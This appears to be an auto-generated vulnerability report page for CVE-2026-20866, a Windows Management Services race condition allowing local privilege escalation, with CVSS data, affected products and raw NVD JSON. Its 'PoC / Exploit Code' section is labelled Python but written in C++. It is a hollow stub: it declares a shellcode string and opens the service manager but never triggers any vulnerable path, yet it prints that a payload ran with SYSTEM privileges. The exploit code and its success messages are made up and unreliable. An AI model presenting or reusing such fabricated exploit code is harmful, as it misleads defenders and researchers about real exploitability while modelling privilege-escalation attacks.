Security Vulnerability Report
中文
CVE-2026-20866 CVSS 7.8 HIGH

CVE-2026-20866

Published: 2026-01-13 18:16:16
Last Modified: 2026-01-15 15:41:11

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809 及更高版本
Windows 11 所有版本
Windows Server 2019 及更高版本
Windows Management Services 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20866 Windows Management Services Race Condition PoC // Note: This is a conceptual PoC for educational purposes only // Author: Based on MSRC disclosure #include <windows.h> #include <stdio.h> #include <thread> #include <atomic> #define TARGET_SERVICE L"WindowsManagementService" std::atomic<bool> race_window_open(false); void trigger_race_condition() { // Step 1: Identify target service and vulnerable operation SC_HANDLE scm = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (!scm) return; // Step 2: Create malicious DLL for privilege escalation const char* shellcode = "\x90\x90\x90\x90\x4C\x8B\xD1\xB8\x30\x00\x00\x00\x0F\x05"; // Step 3: Exploit race condition in shared resource access while (!race_window_open.load()) { Sleep(1); } // Step 4: Trigger the vulnerable code path // This would involve exploiting the improper synchronization // in Windows Management Services file operations // Step 5: Execute payload with elevated privileges printf("[+] Race condition triggered, payload executed with SYSTEM privileges\n"); CloseServiceHandle(scm); } int main() { printf("CVE-2026-20866 Windows Management Services Race Condition PoC\n"); printf("Target: Windows Management Services\n"); printf("CVSS: 7.8 (High)\n\n"); std::thread exploit_thread(trigger_race_condition); // Open race window race_window_open.store(true); // Trigger service operation printf("[*] Initiating race condition attack...\n"); exploit_thread.join(); printf("[+] Exploitation complete\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20866", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:15.967", "lastModified": "2026-01-15T15:41:10.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en los Servicios de administración de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20866", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}